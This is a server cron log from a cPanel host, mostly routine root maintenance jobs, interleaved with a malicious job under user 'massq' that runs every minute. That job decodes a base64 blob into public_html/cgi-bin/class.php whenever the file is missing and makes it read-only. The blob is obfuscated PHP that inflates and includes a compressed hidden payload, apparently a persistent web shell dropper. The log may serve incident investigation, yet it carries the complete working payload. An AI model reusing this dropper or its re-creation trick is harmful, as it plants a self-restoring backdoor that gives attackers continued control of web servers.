Sep  4 13:39:01 server CROND[14337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:39:01 server CROND[14338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:39:01 server CROND[14339]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 13:40:01 server CROND[14729]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 13:40:01 server CROND[14733]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 13:40:01 server CROND[14736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:40:01 server CROND[14737]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:40:01 server CROND[14739]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:40:01 server CROND[14738]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 13:40:01 server CROND[14740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:40:01 server CROND[14742]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:41:01 server CROND[15549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:41:01 server CROND[15550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:41:01 server CROND[15551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:42:01 server CROND[15927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:42:01 server CROND[15929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:42:01 server CROND[15928]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 13:42:01 server CROND[15930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:43:01 server CROND[16398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:43:01 server CROND[16399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:43:01 server CROND[16400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:44:01 server CROND[16785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:44:01 server CROND[16786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:44:01 server CROND[16787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:45:01 server CROND[17169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:45:01 server CROND[17172]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 13:45:01 server CROND[17174]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 13:45:01 server CROND[17176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:45:01 server CROND[17175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:45:01 server CROND[17179]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:45:01 server CROND[17178]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:46:01 server CROND[18072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:46:01 server CROND[18073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:46:01 server CROND[18074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:47:01 server CROND[18454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:47:01 server CROND[18455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:47:01 server CROND[18456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:48:01 server CROND[18935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:48:01 server CROND[18936]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:48:01 server CROND[18937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:49:01 server CROND[19319]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:49:01 server CROND[19320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:49:01 server CROND[19321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:50:01 server CROND[19716]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 13:50:01 server CROND[19718]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 13:50:01 server CROND[19722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:50:01 server CROND[19720]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 13:50:01 server CROND[19725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:50:01 server CROND[19723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:50:01 server CROND[19727]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:50:01 server CROND[19719]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
